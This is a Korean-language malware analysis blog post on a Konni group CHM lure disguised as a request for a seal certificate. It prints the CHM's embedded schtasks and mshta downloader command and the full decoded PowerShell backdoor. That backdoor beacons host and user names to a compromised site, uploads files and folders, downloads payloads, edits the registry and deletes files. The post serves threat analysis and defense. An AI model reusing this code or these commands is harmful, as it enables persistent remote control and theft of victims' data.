꿈을꾸는 파랑새

오늘은 오늘은 북한 해킹 단체 Konni(코니) 에서 만든 악성코드에서 만든 악성코드인 NService_youngji057.chm(2023.11.18)에 대해 글을 적어보겠습니다.
2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체입니다. 일단 기본적으로 미끼(Decoy) 문서를 사용자에게 표시한 다음 피해자 컴퓨터에서 악성 파일을 실행합니다. 일단 해당 악성코드는 chm 즉 윈도우 도움말 형식으로 돼 있지만 실제로는 악성코드입니다. 해당 악성코드는 
NService_youngji057.rar으로 유포되었으며 해당 악성코드를 풀고 나면 NService_youngji057.chm 이 있습니다.

일단 먼저 해당 NService_youngji057.chm를 실행을 하면 다음과 같은 내용을 확인할 수가 있습니다.
인감증명서 1부와
위임장에 인감도장 날인하셔서 보내주심 감사하겠습니다~
이번에는 인감증명서 인감도장을 보내 달라고 하지만 실제로는 미끼 파일입니다.
먼저 해당 악성코드 해쉬값은 다음과 같습니다.

NService_youngji057.chm 악성코드 실행 화면
NService_youngji057.chm 악성코드 실행 화면

파일명:NService_youngji057.chm
사이즈:10.6 KB
MD5:717d7c2ee8e97b512cbcecde3aa300c3
SHA-1:110d2f5e4e58f4209d1875dbcb5bbfaf811e4d55
SHA-256:521318321221435f7f6d2f1abed8d6ce71fd02ede1048137ae3d3bbab6826c18

이며 기본적으로 해당 chm 파일 자체에 악성코드가 있는 것이 아니고 해당 악성코드를 실행하면 기본적으로 chm 파일을 보여 주고 나서 Start(.)html 에 포함이 된 링크를 통해서 해킹된 사이트로 이동되며 여기서 웹 소스 보기를 하면 파워셀(PowerShell)를 이용해서 동작하는 방법을 취합니다.

NService_youngji057.chm 악성코드에 포함 된 악성코드 주소
NService_youngji057.chm 악성코드에 포함 된 악성코드 주소

Chm 파일에 포함된 악성코드 내용

<html>
<head><meta http-equiv='Content-Type' content='text/html;charset=UTF-8'></head>
<body>
<div class="moz-text-html"><div><div><span style="font-size: 14px; font-family: Gulim, 굴림, sans-serif;">인감증명서 1부와</span></div><span style="font-size: 14px; font-family: Gulim, 굴림, sans-serif;">위임장에 인감도장 날인하셔서 보내주심 감사하겠습니다~</span></div></div><div class="moz-text-html"><div><blockquote style="margin: 0px 0px 0px 0.8ex;border-left: 1px solid rgb(204,204,204);padding-left: 1ex;"><div><div><div><br></div></div></div></blockquote></div>

</div><div class="moz-text-html">

</div>


<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf(-)9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd.exe, /c start /min schtasks /create /sc minute
/mo 10 /tn "ChromeBrowserUpdate" /tr
"c:\\windows\\system32\\mshta.exe http://goodmarket(.)or(.)kr/admin/sms/3(.)html"'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<script>
x.Click();
</SCRIPT>

해당 악성코드 동작 설명

코드에 포함된 스크립트는 mshta.exe를 사용하여 지정된 HTA 파일(hxxp://goodmarket(.)or(.)kr/admin/sms/3(.)html)을 10분마다 열도록 스케줄을 설정을 하고 있습니다.
<PARAM name="Item1" value=',cmd.exe, /c start /min schtasks /create /sc minute /mo 10 /tn "ChromeBrowserUpdate" /tr "c:\\windows\\system32\\mshta.exe  부분이 10분마다 열도록 스케줄을 설정을 하는 부분입니다.
그러면 해당 사이트는 2024.1.27 에서는 삭제 조치했지만 그래도 이전에 해당 유포하는 사이트를 미리 확보해 두어서 해당 부분을 통해서 분석하겠습니다.

해킹 된 사이트 에 포함이 된 파워셀(PowerShell) 코드
해킹 된 사이트 에 포함이 된 파워셀(PowerShell) 코드

해당 사이트에 접속해서 악성코드가 동작하는 코드는 다음과 같습니다.
PowerShell 뒤로 Base64로 돼 있는 것을 볼 수가 있는데 이것을 보기 쉽게 정리하면 다음과 같이 될 것입니다.
해당 Base64 디코딩 내용은 다음과 같습니다.

$EOjLu = 1024 * 1024;$rMbsJEZd = $env:COMPUTERNAME (+) '-' + $env:USER(NA)ME;$RQJsnhyiewsAwO
= 'http://goodmarket(.)or(.)kr/admin/sms/net(.)php'
+ '?' (+) 'U' + '=' + $rMbsJ(E)Zd;$OOL(y)Pr = $env:TEMP
+ '\PDIsXDocWnNwDK';if (Test-Path $OO(L)yPr)
{Remove-Item -Path $OO(L)yPr;}Start-Sleep (-)Seconds 7;
if (Test-(P)ath $OOLyPr) {exit;}function UNcF($FOCYvyMdvt, $OHVAGjvJu)
{$BZEnzKEJtyWJL = [System.Text(.)Encoding]::UTF8.GetBy(t)es($OHVAGjvJu)
;[System.Net.HttpWebRequest] $BBkwZrKhdMyp = [System.Net.WebReque(s)t]
::Create($FOC(Yv)yMdvt);$BBkwZrKhdMyp(.)Method
= 'POST';$BBkwZrKhdMyp(.)ContentType
= 'application/x-www-form(-)urlencoded';$BBk(w)ZrKhdMyp.ContentLength
= $BZEnzKEJtyWJL(.)Length(;)$OOLyPrU = $BBkwZ(r)KhdMyp(.)GetRequestStream()
;$O(O)LyPrU(.)Write($BZEnzKEJtyWJL, 0, $BZEnzKEJtyWJL(.)Length);$OOLyPrU.Flush()
;$O(O)Ly(P)rU.Close();[System(.)Net(.)HttpWebResponse] $vnHUC(u)EFvez
= $BBkwZ(r)KhdMyp.GetResponse();$zykD = New-Object System.IO(.)StreamRea(d)er
($vnHUCuEFvez(.)GetResponseStream());$OOLyPrULT = $zykD.ReadToEnd();return $OOLyPrULT;}
fu(n)ction amLDzB(m)jqfiItu($FOCYv(yMdvt, $K(u)l, $iHCjtGv, $LN(K)tOBGVrnA)
{$Timeout=10000000;$CRLF = [string]$([char]0x0D) + [string]$([char]0x0A);$Tw(o)Hyphens
= '--';$Bou)ndary = '*****';$str(e)am = [System.IO.File]::OpenRead($Kul);$xxT
= New-Object byte[] $EOjLu;while( $bytesRead = $stream(.)Read($xxT,0,$EOjLu))
{[System(.)Net(.)HttpWebRequest] $BBk(w)ZrKhdMyp = [System.Net.WebRequest]::
Create($FOCYvyMdvt);$BBkwZrKhdMyp(.)Method = 'PO(S)T';$BBkwZrKhdMyp.Timeout
\= $Timeout;$BBkwZr(K)hdMyp.ContentType = 'multipart/form-data(;)boundary='
+ $Bo(u)ndary;$OOLyPrU = $BBkwZrKhdMyp.GetRequestStream();$heading1 =
[System.Text(.)Encoding]::UTF8.Get(B)ytes($TwoHyphens + $Boundary
+ $CRLF);$OOLyPrU.Write($heading1, 0, $heading1.Length);$heading2 
= [System.Text.Encoding]::UTF8.GetBytes('Content-Disposition: form-data;
name=' + [string]$([char]0x22) + $iHCjtGv + [string]$([char]0(x)22) (+) '
;filename=' + [string]$([char]0(x)22) + $L(NKtOBGVrnA + [string]$([char]0x22)
+ $CRLF);$OOLyPrU.Write($heading2, 0, $heading2.Length);$heading3
= [System.Text.Encoding]::UTF8.GetBytes($CRLF);$OOLyPrU(.)Write($heading3, 0,
$heading3.Length);$OOLyPrU.Write($xxT, 0, $bytesRead);$OOLyPrU.Write($heading3, 0, 
$heading3.Length);$heading4 = [System(.)Text(.)Encoding]::UTF8.GetBytes($TwoHyphens 
(+) $Boundary + $TwoHyphens + $CRLF);$OOLyPrU.Write($heading4, 0, $heading4.Length)
;$OOLyPrU.Flush();$OOLyPrU.Close();[System.Net.HttpWebResponse] $vnHUCuEFvez = 
$BBkwZrKhdMyp.GetResponse();$zykD = New-Object 
System.IO.StreamReader($vnHUCuEFvez.GetResponseStream());$OOLyPrULT 
= $zykD.ReadToEnd();}$stream.Close();}function pNjvPYjPWMUqX($FOCYvyMdvt, $Kul)
{[System.Net.HttpWebRequest] $Request = [System.Net.WebRequest]::Create($FOCYvyMdvt)
;$Request.set_Timeout(15000);$Response = $Request.GetResponse();$ResponseStream 
= $Response.GetResponseStream();$SplitSize = 1024;$Buffer = New-Object -TypeName Byte[]
-ArgumentList $SplitSize;Try {Do {$Count = $ResponseStream.Read($Buffer, 0, 
$SplitSize);$offset = $Count - 1;Add-Content $Kul $Buffer[0..$offset] -Encoding Byte;} 
Until($Count -eq 0)} Catch {} Finally {$ResponseStream.Dispose();}}do{Try{$SxD = UNcF 
$RQJsnhyiewsAwO '';If ($SxD -ne 'null' -and $SxD -ne ''){$SxD=$SxD.SubString(1, 
$SxD.Length - 2);$bWglUG = [System.Text.Encoding]::UTF8.GetString([System.Convert]
:(:)FromBase64S(t)ring($SxD));if ($bWglUG){if ($bWglUG.Contains('FINFO:'))
{$ZLWulWkoJtg=$bWglUG.SubString(6);if (Test-Path -Path $ZLWulWkoJtg){$filename 
= $OOLyPr + '.csv';Get-ChildItem $ZLWulWkoJtg -Filter *.* (-)Recurse | 
Select(-)Object Name, Length, LastWriteTime, Fullname | Export-Csv -Path 
$filename -Force -NoTypeInformation -Encoding utf8;$attachment_name (=) 
'_file';$nowtime = Get-Date( -)Format yyyy-MM-dd_HH_mm_ss;$attachment_filename 
= $nowtime (+) '_fileinfo';amLDzBmjqfiItu $RQJsnhyiewsAwO $filename 
$attachment_name $attachment_filename;Remove-Item -Path $filename;}}if 
($(b)WglUG.Contains('DIRUP:')){$ZLWulWkoJtg=$bWglUG.SubString(6);if 
(Test-Path -Path $ZLWulWkoJtg){$filename = $OOLyPr + '.zip';
Compress-A(r)chive $ZLWulWkoJtg $filename -Force;$attachment_name 
= '_file';$nowtime = Get-Date -Format yyyy-MM-dd_HH_mm_ss;$attachment_filename 
(=) $nowtime + '_dir';amLDzBmjq(f)iItu $RQJsnhyiewsAwO $filename $attachment_name 
$attachment_filename;Remove-Item -Path $filename;}}if ($bWglUG.Contains('SFILE:')
){$ZLWulWkoJtg=$bWglUG.SubString(6);if (Test-Path -Path $ZLWulWkoJtg){$attachment_
name = '_file';$nowtime = Get-Date -Format yyyy-MM-dd_HH_mm_ss;$attachment_filename
= $nowtime (+) '_file';amLDzB(m)jqfiItu $RQJs(n)hyiewsAwO $ZLWu(l)WkoJtg $atta(c)hment_name
$at(t)achment_filename;}}if ($bWglUG.Contains('DOWNF:'))
{$ZLWulWkoJtg=$bWglUG.SubString(6);$CharArray =$ZLWulWkoJtg.Split('||')
;if ($CharArray.Length -eq 3){pNjvPYjPWMUqX $CharArray[0] $CharA(r)ray[2];}}
if ($bWglUG.Contains('CURLC:')){$Z(L)WulWkoJtg=$bWglUG.SubString(6);$Char
Array =$ZLWulWkoJtg.Split('||');if ($CharArray.Length -eq 3){curl $CharAr
ray[0] -o $CharArray[2];}}if ($bWglUG.Contains('REGED:')){$ZLWul(W)koJtg(=)$bW
glUG(.)SubString(6);$CharArray =$ZLWulWkoJtg.Split('||');if ($CharArray.Length
-eq 5){New-ItemProperty -Path $CharArray[0] -Name $CharAr(r)ay[2] -Value $Char
Array[4] -PropertyType String -Force;}}if ($bWglUG.Contains('TASKA:')){$ZLWulW
koJtg=$bWglUG.SubStr(in)g(6);$CharArray =$ZLWulWkoJtg.Split('||');if ($CharArr
ay.Length -eq 5){$Action = New-ScheduledTaskAction -Execute $CharArray[4];($)S
ettings = New(-)ScheduledTas(k)SettingsSet;$trigger = New-ScheduledTaskTrigger
-Once -At (Get-Date) -RepetitionInterval(New-TimeSpan -Minutes 10);$Task = New
-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Settings;Register-
ScheduledTask (-)Ta(s)kName $CharArray[2] -TaskPath $CharArray[0] -InputObject
$Task;}}if ($bWglUG.Contains('ZIPEX:')){$ZLWulWkoJtg=$bWglUG.SubString(6);$Ch
arA(r)ray =$ZLWulWkoJtg.Split('||');if ($CharArray.Length -eq 3){Expand-Archi
ve $CharArray[0] $Char(A)rray[2];}}if ($bWglUG.Contains('RE(N)AM:')){$ZLWulWk
oJtg=$bWglUG.SubString(6);$CharArray =$ZLWulWkoJtg.Split('||');if ($CharArray
(.)Length -eq 3){Rename-Item $CharArray[0] $CharArray[2];}}if ($bWglUG.Conta
ins('DELET:')){$ZLW(u)lWkoJ(t)g=$(b)WglUG.SubString(6);if (Test-Path -Path 
$ZLWulWkoJtg){Remove-Item $ZLWulWkoJtg;}}$AWmduXCg = 'R' + '=' + [Sy(s)tem(
.)Convert]::ToBase64String([System(.)Text(.)Encoding]::UTF8.Ge(t)Bytes('don
(e)'));UNcF $RQJsnhyie(w)sAwO $AWm(d)uXCg;}}} Catch{}Start(-S)l(e)ep -Seconds 9;if 
(!(Test-Path $OOLyPr)) {'1' | Out-File $OOLyPr;}}while($true -eq $true)

PowerShell 코드 해석

해당  PowerShell 스크립트는 악성 코드로 원격 서버와의 통신을 통해 원격에서 명령을 수신하고 실행하는 기능을 수행
1.변수 초기화 및 설정:
$EOjLu:1MB 크기의 바이트 배열을 나타내며 파일 업로드 및 다운로드 시에 사용
$rMbsJEZd:현재 컴퓨터의 이름과 사용자 이름을 결합한 문자열
$RQJsn(h)yiewsAwO:웹 서버 URL
$OOLyPr:임시 디렉터리 경로를 나타내고 파일 업로드 및 다운로드 시 사용
2. 웹 서버와의 통신을 위한 함수
UNcF:웹 서버로부터 명령을 전송하고 응답을 받는 함수
amLDzBmjqfiItu:파일을 웹 서버로 업로드하기 위한 함수 멀티파트 폼 데이터를 사용
pNjvPYjPWMUqX:웹 서버로부터 파일을 다운로드하는 함수
3.무한 루프:
do-while 루프가 있으며 해당 루프는 항상 실행되며 웹 서버로부터 명령을 주기적으로 수신하고 해당 명령을 실행
4.주요 명령 처리
FINFO:지정된 디렉터리의 파일 정보를 수집하고 CSV 파일로 저장하여 웹 서버로 업로드
DIRUP:지정된 디렉터리를 압축하여 ZIP 파일로 만들어 웹 서버로 업로드
SFILE:특정 파일을 웹 서버로 업로드
DOWNF:웹 서버로부터 파일을 다운로드 하고 로컬에 저장
CURLC:원격 URL에서 파일을 다운로드 하고 로컬에 저장
REGED:레지스트리에 새로운 키와 값을 추가
TASKA:새로운 스케줄된 작업을 생성
ZIPEX:지정된 ZIP 파일을 압축 해제
RENAM:파일 또는 디렉터리의 이름을 변경
DELET:파일 또는 디렉터리를 삭제
5.실행 주기 및 안전성:
웹 서버와의 통신 주기는 9초로 설정
스크립트는 무한 루프에서 계속 실행

CyberChef 로 Base64 디코딩
CyberChef 로 Base64 디코딩

2023-12-02 02:30:55 UTC 기준 바이러스토탈 에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/CHM.Generic
ALYac:Trojan.Downloader.CHM
Antiy-AVL:Trojan[Downloader]/HTML.Agent
Arcabit:Exploit.CHM-Downloader.Gen
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Exploit.CHM-Downloader.Gen
Emsisoft:Exploit.CHM-Downloader.Gen (B)
ESET-NOD32:HTML/TrojanDownloader.Agent.NLW
Fortinet:HLP/Agent.G1!tr
GData:Exploit.CHM-Downloader.Gen
Ikarus:Trojan-Downloader.HTML.Agent
Kaspersky:UDS:DangerousObject.Multi.Generic
Lionic:Trojan.HTML.Generic.4!c
MAX:Malware (ai Score=80)
Rising:Trojan.MouseJack/HTML!1.BE26 (CLASSIC)
Sangfor Engine Zero:Trojan.Generic-Script.Save.f8c288c6
Skyhigh (SWG):Artemis!Trojan
Symantec:Trojan.Gen.NPE
Trellix (FireEye):Exploit.CHM-Downloader.Gen
TrendMicro:HEUR_CHM.E
Varist:CHM/ABDownloader.WCBG
VIPRE:Exploit.CHM-Downloader.Gen
ZoneAlarm by Check Point:UDS:DangerousObject.Multi.Generic
결론은 기본적으로 보안 수칙과 그리고 보안 프로그램 설치 및 실시간 감시 등 하고 사용을 하면 사이트 관리자 분들은 관리를 잘해서 자신의 사이트가 악성코드 업로드 및 유포지가 되지 않게 해야 합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band